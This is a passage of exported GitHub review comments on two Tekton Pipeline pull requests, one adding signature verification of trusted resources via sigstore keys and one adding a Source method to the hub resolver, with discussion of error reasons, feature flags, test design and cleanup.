`k8s://namespace/name` syntax? https://docs.sigstore.dev/cosign/kubernetes", "comment_id": 993974430, "created_at": "2022-10-12T23:23:52Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, it makes sense to consolidate these two. It should be in a separate PR. \r\nIn this pr we don't add new setdefaults(), just keep the previous behaviour. ", "comment_id": 994049069, "created_at": "2022-10-13T02:24:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It should be wrapped in a permanenterror here: https://github.com/tektoncd/pipeline/blob/933e4f667c19eaf0a18a19557f434dbabe20d063/pkg/reconciler/pipelinerun/pipelinerun.go#L373-L378 \r\n\r\nMaybe I should add unit test from reconciler function as well?", "comment_id": 994053310, "created_at": "2022-10-13T02:31:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Thanks!", "comment_id": 994053634, "created_at": "2022-10-13T02:31:55Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 994057922, "created_at": "2022-10-13T02:42:31Z", "line": null, "path": "pkg/reconciler/trustedresources/verify_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think this is a great suggestion!\r\nWhich level should I pull this up? Moving this to `reconcile` and pass verifiers down to the place where we will use them? ", "comment_id": 994060044, "created_at": "2022-10-13T02:48:07Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Are you suggesting we use `cosign generate-key-pair k8s://default/testsecret` in docs? It's another way to save keys in secret, but we still need to mount this secret to controller container right? Like what we do in Chains:\r\nhttps://github.com/tektoncd/chains/blob/780521656ab0ea2a72d7a969a13040848ac6b969/config/100-deployment.yaml#L91-L92 ", "comment_id": 994062877, "created_at": "2022-10-13T02:54:53Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will add a TODO here", "comment_id": 994063149, "created_at": "2022-10-13T02:55:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "I don't think we want to return a `ReasonCouldntGetPipeline` reason back to users if signature verification fails. We should add a `ReasonSignatureMismatch` or something similar.", "comment_id": 995217086, "created_at": "2022-10-13T23:58:10Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "I was thinking more specifying these values in the config map - `publickeys: k8s://namespace/name, vault://key, gcpkms://key`. This way users don't need to redeploy Tekton each time they want to add a key.\r\n\r\nI'm fine with punting on this as a TODO if you want, wanted to ask what the long term plan is since there's a few places where we assume local keys and my guess is that probably won't be the case forever.", "comment_id": 995220265, "created_at": "2022-10-14T00:06:39Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd recommend not using a TODO and fixing it in another PR as a prereq to this one. Having this behavior split across multiple areas is going to be non-obvious for other contributors if they need to make changes while things are in-flight.", "comment_id": 995226107, "created_at": "2022-10-14T00:22:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Maybe it you can wrap the resolvers with a verifier when they are created? \ud83e\udd14 ", "comment_id": 995230332, "created_at": "2022-10-14T00:33:09Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "But this would be a code change not related to this PR? I didn't change the behaviour of resolvePipeline in this PR, just move the `setdefaults` out of `readRuntimeObjectAsPipeline` to avoid verification failure. \r\n\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/1b2637182c0adb0790daf163f38fa14e19ed71a9/pkg/reconciler/pipelinerun/resources/pipelineref.go#L113-L136 ", "comment_id": 995839640, "created_at": "2022-10-14T14:42:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh ok, I will add this new error and tests!", "comment_id": 995858149, "created_at": "2022-10-14T14:59:43Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh I see, that seems better!\r\nIf we use `publickeys: k8s://namespace/name`, do we need to fetch secret to get the key files? \r\nIn the long term I think we will still keep local keys as an option for users ", "comment_id": 995893650, "created_at": "2022-10-14T15:37:44Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added the new reason and tests from reconciler", "comment_id": 997479442, "created_at": "2022-10-17T20:26:09Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "add a todo for this. This PR is getting very big...", "comment_id": 997488487, "created_at": "2022-10-17T20:37:34Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "add a todo for this", "comment_id": 997489931, "created_at": "2022-10-17T20:39:28Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "What I'm worried about is someone else coming through and not realizing that defaulting is happening in multiple locations. \ud83d\ude2c \r\n\r\nI don't think this is that big of a change - I'll send you a PR.", "comment_id": 998279115, "created_at": "2022-10-18T14:03:34Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "nit: Since you're always comparing against a known error type, you could simplify this by comparing the error directly / using `errors.Is` - https://go.dev/play/p/PpZrSvYxbDK\r\n", "comment_id": 998301996, "created_at": "2022-10-18T14:20:55Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Let's move this into `pkg/reconciler/internal/testing` - this will remove any funcs from the public API surface.", "comment_id": 998304319, "created_at": "2022-10-18T14:22:42Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "https://github.com/tektoncd/pipeline/pull/5651", "comment_id": 998309408, "created_at": "2022-10-18T14:26:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thank you so much!!", "comment_id": 998347630, "created_at": "2022-10-18T14:55:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Seems we don't have this `pkg/reconciler/internal` path, should I create a folder of `internal`?", "comment_id": 998350051, "created_at": "2022-10-18T14:57:24Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 998358655, "created_at": "2022-10-18T15:02:59Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Yup!", "comment_id": 998377929, "created_at": "2022-10-18T15:14:23Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "created a new path and moved there", "comment_id": 998396009, "created_at": "2022-10-18T15:28:23Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "You should be able to remove this once #5651 is in.", "comment_id": 998513885, "created_at": "2022-10-18T17:21:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "Given that we already have the ResourceVerificationMode, why are we also checking if alpha API fields are enabled?", "comment_id": 999984680, "created_at": "2022-10-19T22:24:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "nit: why are we passing a copy of the pipeline and not just a pointer to the object?", "comment_id": 999988964, "created_at": "2022-10-19T22:32:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "We are passing a copy of the pipelien but within verifyResolvedPipeline, we are making another copy of the pipeline", "comment_id": 999990836, "created_at": "2022-10-19T22:36:12Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "It's a bit odd that we are calling verifyResolvedPipeline in two places. Is there any downside to centralizing the verification in one place here: https://github.com/dibyom/pipeline/blob/00b9e9d47a0e788fd88f21fa3527734d8f3a1d8f/pkg/reconciler/pipelinerun/pipelinespec/pipelinespec.go#L63", "comment_id": 999992983, "created_at": "2022-10-19T22:40:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "same comment as above", "comment_id": 999997656, "created_at": "2022-10-19T22:50:06Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "same comment as above, is it possible to centralize the two usages to just one place?", "comment_id": 999997893, "created_at": "2022-10-19T22:50:40Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "this is a nit: is there a reason trustedresources has to be within the reconciler package?", "comment_id": 999998683, "created_at": "2022-10-19T22:52:20Z", "line": null, "path": "pkg/reconciler/trustedresources/errors.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "dibyom", "body": "does this need to be exported? All usages seem within the package?", "comment_id": 999999363, "created_at": "2022-10-19T22:53:45Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes it shouldn't be exported. There were some functions using it but they also removed now. Change this back", "comment_id": 1000022007, "created_at": "2022-10-19T23:46:28Z", "line": null, "path": "pkg/reconciler/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I put it there because it is used within reconciler, should I move it to another place?", "comment_id": 1000022490, "created_at": "2022-10-19T23:47:41Z", "line": null, "path": "pkg/reconciler/trustedresources/errors.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah that's a great suggestion! Previously there are setdefaults() called there, so to not break the current behaviour I didn't move those call into a central place (verification should happend before setdefaults()). But now it should be ok to do so with Billy's PR", "comment_id": 1000023802, "created_at": "2022-10-19T23:51:24Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "But I think maybe there's one reason I need to to the verification here:\r\nhttps://github.com/tektoncd/pipeline/blob/b648a5b2eaebf0ece7199dcf2bd89c65137973d5/pkg/reconciler/taskrun/resources/taskref.go#L139-L151\r\n\r\nChuang's working on a PR to get ConfigSource from the `resolver.Get`, it will contain source information which will be used for the next PR's work. In the VerificationPolicy we can use the source url to filter out resources.", "comment_id": 1000027611, "created_at": "2022-10-20T00:00:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "If the verification happen later then it may not be so easy to get this information?", "comment_id": 1000028051, "created_at": "2022-10-20T00:01:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "We need to modify the object before verification. e.g. need to extract the signature and delate it from the annotation. I remember I encountered some errors if I don't pass a copy. Let me double check it again.", "comment_id": 1000028592, "created_at": "2022-10-20T00:03:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh it seems no need to pass a copy \ud83d\ude22 I will remove all of them", "comment_id": 1000041849, "created_at": "2022-10-20T00:39:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "My personal reason is that I feel more secure to have 2 locks on this new feature. \ud83d\ude02 \r\nThe formal reason is that I thought this is a alpha feature so it should be gated. But just realized that this is not related to any APIs, maybe ResourceVerificationMode is enough?", "comment_id": 1000046598, "created_at": "2022-10-20T00:52:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "if it is not necessary, I will remove it ", "comment_id": 1000047612, "created_at": "2022-10-20T00:55:55Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "fixed! Thanks!", "comment_id": 1000048787, "created_at": "2022-10-20T00:59:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "removed. Thanks!", "comment_id": 1000048834, "created_at": "2022-10-20T00:59:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "discussed offline, moved to pkg", "comment_id": 1000868924, "created_at": "2022-10-20T16:34:50Z", "line": null, "path": "pkg/reconciler/trustedresources/errors.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "removed ", "comment_id": 1000869421, "created_at": "2022-10-20T16:35:18Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added a todo to address ", "comment_id": 1001956683, "created_at": "2022-10-21T16:00:21Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I think it might make sense to add some docs to [the install instructions as well](https://github.com/tektoncd/pipeline/blob/main/docs/install.md#customizing-the-pipelines-controller-behavior) on the new config option(s) - maybe linking to the separate doc you've written?", "comment_id": 1003793616, "created_at": "2022-10-24T21:40:00Z", "line": 87, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "@Yongxuanzhang is the updated plan for this reflected in the TEP?", "comment_id": 1003795583, "created_at": "2022-10-24T21:43:01Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Could you add some details around what behavior is expected if a resource fails verification? The PR also mentioned that there are some details around what is supported and what isn't, e.g. KMS isn't supported, only PEM files - can you explain about that in this docs as well?", "comment_id": 1003802175, "created_at": "2022-10-24T21:49:49Z", "line": 11, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I only saw unit tests for this function which is not exported and not for the other two functions which are exported, so:\r\n* is it possible to have unit tests for all the exported functions?\r\n* maybe this unexported function is better off exported? often when there's an urge to write unit tests for unexported code it's an indication that something is missing in the package and maybe should be exported\r\n\r\n(there's a list of principles like this in https://github.com/tektoncd/community/blob/main/standards.md#tests but it doesnt add much more justification \ud83d\ude05 )", "comment_id": 1003806816, "created_at": "2022-10-24T21:56:28Z", "line": null, "path": "pkg/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I asked this in the TEP PR (https://github.com/tektoncd/community/pull/830) but I'm wondering about why we need to depend on a sigstore lib for signature verification - is there something we're doing that's sigstore specific? ", "comment_id": 1003807881, "created_at": "2022-10-24T21:57:33Z", "line": null, "path": "pkg/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I'm surprised the linter is okay with this formatting \ud83e\udd14 ", "comment_id": 1003809921, "created_at": "2022-10-24T22:00:26Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure!! added", "comment_id": 1004582527, "created_at": "2022-10-25T14:41:58Z", "line": 87, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! The expected behaviour is mentioned in the `feature flag` section. I will also update in the overview section.", "comment_id": 1004586884, "created_at": "2022-10-25T14:45:23Z", "line": 11, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh sure! It is due to some historical issues. I planned to add signing cli into pipeline and will call this function. So that's why it has unit tests. But now this signInterface is only used as a helper function in other unit tests. ", "comment_id": 1004590308, "created_at": "2022-10-25T14:48:08Z", "line": null, "path": "pkg/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The lint will check gofmt and compare if the current code is of any difference with that. I make sure all code are formatted by gofmt so that's why it is not failing. \r\n\r\nSo the issue is they should be in one line not multiple lines? If so I have reformatted them into one line.", "comment_id": 1004594803, "created_at": "2022-10-25T14:51:30Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes! The main reason is convenience. We don't have to import other libraries and implement keys load, signer verifier creation functions. ", "comment_id": 1004600951, "created_at": "2022-10-25T14:56:09Z", "line": null, "path": "pkg/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It may be better to move all of them to test/trustedreosurces? There's no reason for them to be in pkg and export signing functions now ", "comment_id": 1004613598, "created_at": "2022-10-25T15:05:42Z", "line": null, "path": "pkg/trustedresources/sign.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> @Yongxuanzhang is the updated plan for this reflected in the TEP?\r\n\r\nNot yet, I will change this in the tep pr", "comment_id": 1004897957, "created_at": "2022-10-25T19:43:56Z", "line": 73, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Is this environment variable just for the test or part of the feature? Either way could we document it somewhere?", "comment_id": 1010577839, "created_at": "2022-11-01T15:37:44Z", "line": 56, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "apologies for the potential scope creep here, but i want to double check that setting these flags as part of this test won't impact any other tests, do you know if that's the case? i'm wondering specifically two things:\r\n- do we run the e2e tests in parallel? if so, do we do anything to make sure that other tests aren't impacted by controller wide config settings like this?\r\n- if the test gets interrupted, will teardown occur that will reset these feature flags? (i would expect that the function being called by `CleanupOnInterrupt` would do something to reset these?)\r\n\r\nIn any case it's probably outside of the scope of this PR to do anything about these but i want to make sure that if these need to be addressed we do something to track that - BUT if these are already addressed, we should at least document how this works somewhere (maybe in a docstring for the `setup` function?) - or if there are already docs for this feel free to just point me at them \ud83d\ude4f ", "comment_id": 1010585575, "created_at": "2022-11-01T15:43:15Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I recommend avoiding using the same test code to test error and success cases. it's a Tekton wide standard at https://github.com/tektoncd/community/blob/main/standards.md#tests - would be nice if we included some of the reasoning for this in the docs itself but in the meantime you can see it in the discussion here https://github.com/tektoncd/community/pull/133#discussion_r451229109 - TL;DR: it makes code confusing and brittle and is much clearer and easier to maintain as separate test cases (even within this test to reason about what it's doing you have to understand that there are multiple `if tc.wantErr` blocks that completely change the test funcitonality)", "comment_id": 1010592710, "created_at": "2022-11-01T15:48:14Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh sorry, this is only for the test. I will add comment for it", "comment_id": 1010603643, "created_at": "2022-11-01T15:58:13Z", "line": 56, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes that is the tricky part of the tests. \r\n\r\n1) This setup function doesn't set the feature flag, it will only check if the needed flags are enabled or not, if not it will skip the current test. So here since we require alpha feature flag, the test will only run in alpha tests.\r\n```\r\nc, namespace := setup(ctx, t, requireAnyGate(neededFeatureFlags))\r\n```\r\n2) In the current PR we turn on `resource-verification-mode` by making api request to the api server and will turn it off after the test finished (One issue is that we don't have the secret lister from client side, so there might be some latency between making the call and it really happen).\r\nThough it seems working now since the CI passes and we're not running them in parallel (no `-parallel`). \r\nhttps://github.com/tektoncd/pipeline/blob/55459dd85258e47da484208d92d9b616633ce230/test/e2e-tests.sh#L83\r\nI can add comment here that this would be trouble if we run tests in parallel.\r\n\r\nI cannot think of a good solution here since this might be the first case that one feature flag may break others. It may not be worth to add a new CI job at this moment though it can be a way to fix\r\n\r\n", "comment_id": 1010626365, "created_at": "2022-11-01T16:19:12Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! I started with having error and success cases separately but merge them to reduce the redundant code. I will divide them again", "comment_id": 1010629210, "created_at": "2022-11-01T16:21:32Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Will keep this standard in mind!", "comment_id": 1010635716, "created_at": "2022-11-01T16:26:51Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Fixed this in latest commit", "comment_id": 1010696473, "created_at": "2022-11-01T17:22:19Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added comment", "comment_id": 1010697042, "created_at": "2022-11-01T17:22:47Z", "line": 56, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "if i'm understanding how `requireAnyGate` works correctly, I think there might be something odd about including this flag here? it seems like `requireAnyGate` will run the current test if any of the passed in flags are set - since this test is providing both `resource-verification-mode` and `enable-api-fields`, am I right that that means the test skipping/running would be:\r\n\r\n1. `resource-verification-mode` set, `enable-api-fields`, set <-- run the test\r\n2. `resource-verification-mode` unset (which is what we'd expect i think), `enable-api-fields`, set <-- run the test\r\n3.`resource-verification-mode` set, `enable-api-fields`, unset <-- run the test\r\n4.`resource-verification-mode` unset, `enable-api-fields`, unset <-- skip the test\r\n\r\ni.e. it would only skip the test in case (4)? i think we'd want to skip the test in case (3) as well? long story short I'm wondering if we should _only_ pass `enable-api-fields` to `requireAnyGate`", "comment_id": 1010825149, "created_at": "2022-11-01T19:33:20Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Thanks very much! (If there is code it makes sense for them to share, you could always consider creating a library for that code - but also a little repetition is often not as bad as it seems - 'repetition is better than the wrong abstraction' :D (https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction)", "comment_id": 1010828873, "created_at": "2022-11-01T19:37:38Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "apologies, I gave you some feedback about `wantErr` in the context of the e2e tests but that would apply to the rest of these tests as well - I strongly recommend separating out the error cases into their own tests for improved readability and maintainability", "comment_id": 1010828928, "created_at": "2022-11-01T19:37:41Z", "line": 387, "path": "pkg/trustedresources/verify_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "> This setup function doesn't set the feature flag, it will only check if the needed flags are enabled or not, if not it will skip the current test.\r\n\r\nah, kk, thanks for explaining!\r\n\r\n> I can add comment here that this would be trouble if we run tests in parallel.\r\n\r\nkk sounds good - it would be nice if we could actually fail the test if someone tries to do it (if this went wrong, tests might just start randomly failing and it might be hard to trace that back to this comment) but I'm not sure how to do that (probably possible tho?)", "comment_id": 1010830864, "created_at": "2022-11-01T19:40:10Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "just triple checking - will `resource-verification-mode` be reset back to it's original value after the test even if the test is interrupted or fails? (i.e. does teardown reset the value?)", "comment_id": 1010830884, "created_at": "2022-11-01T19:40:11Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, you're totally correct! It will run if any of these 2 are set. It totally makes sense that we only pass `enable-api-fields`, I will change it accordingly. ", "comment_id": 1010837575, "created_at": "2022-11-01T19:48:40Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! Thanks for reminding me of those tests. Will do!", "comment_id": 1010838914, "created_at": "2022-11-01T19:50:11Z", "line": 387, "path": "pkg/trustedresources/verify_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! I didn't put the cleanup code inside the tearDown, I feel like tearDown is mainly used to clean the namespace we created for this test. Our current test need to reset the configmap at system namespace, so to address your comment I create a new helperfunction within this test to clean up the created secret and configmap.\r\n\r\nThe defer will enable the function to be executed even if the test fails. I have tested this behaviour. \r\n\r\nThank you very much for pointing this out!!", "comment_id": 1010866979, "created_at": "2022-11-01T20:25:58Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It should be not so hard to trace, since the error message will tell that the error is because we enable this feature flag. I think maybe I should raise this to the community and seek more feedback?", "comment_id": 1010925333, "created_at": "2022-11-01T21:37:04Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice!! :D :D :D thanks for all the back and forth on this", "comment_id": 1012226863, "created_at": "2022-11-02T19:41:05Z", "line": 66, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks a lot!!!", "comment_id": 1012229766, "created_at": "2022-11-02T19:44:45Z", "line": 66, "path": "test/trusted_resources_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "@chuangw6 @wlynch PTAL the source is expected \ud83d\ude4f ", "comment_id": 1000745536, "created_at": "2022-10-20T14:52:55Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "jerop", "body": "`kind` is optional too, right?\r\n\r\ncan we have an example with the required fields only?", "comment_id": 1001984446, "created_at": "2022-10-21T16:32:57Z", "line": null, "path": "examples/v1beta1/taskruns/hub-resolver.yaml", "pr_number": 5666, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Sure! Updated the second example using required fields only \ud83d\ude01 ", "comment_id": 1002121133, "created_at": "2022-10-21T19:24:44Z", "line": null, "path": "examples/v1beta1/taskruns/hub-resolver.yaml", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "Thank you @QuanZhang-William for implementing this Source method!!!", "comment_id": 1002300610, "created_at": "2022-10-22T02:02:34Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just curious why we don't use https://pkg.go.dev/crypto/sha256#Sum256 here? Any difference between Sum256 and the current approach we used?", "comment_id": 1002301051, "created_at": "2022-10-22T02:06:46Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "Seems like the URL field of `ResolvedHubResource` we used here `rr.URL` is not populated with a value anywhere in current implementation? Sorry if I missed it.", "comment_id": 1002301167, "created_at": "2022-10-22T02:07:36Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "nit: Since a similar code chuck exists in TestResolve function to compare errors, this might be a good sign to write a small helper to compare errors? i.e.\r\n\r\n[source](https://github.com/google/go-cmp/issues/24#issuecomment-317613775)\r\n```go\r\nfunc equalError(a, b error) bool {\r\n\treturn a == nil && b == nil || a != nil && b != nil && a.Error() == b.Error()\r\n}\r\n```\r\n\r\nUnfortunately, cmp package only offers [EquateErrors](https://pkg.go.dev/github.com/google/go-cmp/cmp/cmpopts#EquateErrors) helper which seems to only work for sentinel errors :(", "comment_id": 1002327716, "created_at": "2022-10-22T04:20:42Z", "line": null, "path": "pkg/resolution/resolver/hub/resolver_test.go", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "It seems like the option `default-catalog` is replaced by `default-tekton-hub-catalog`, `default-artifact-hub-task-catalog` and `default-artifact-hub-pipeline-catalog` in hubresolver-config.yaml. We may want to sync options in the table with the config file.", "comment_id": 1003543055, "created_at": "2022-10-24T16:52:59Z", "line": null, "path": "docs/hub-resolver.md", "pr_number": 5666, "repo": "pipeline"} +{"author": "chuangw6", "body": "I feel like we might be able to extract a helper function from `ValidateParams` and `Resolve` regarding params i.e. [one good example from 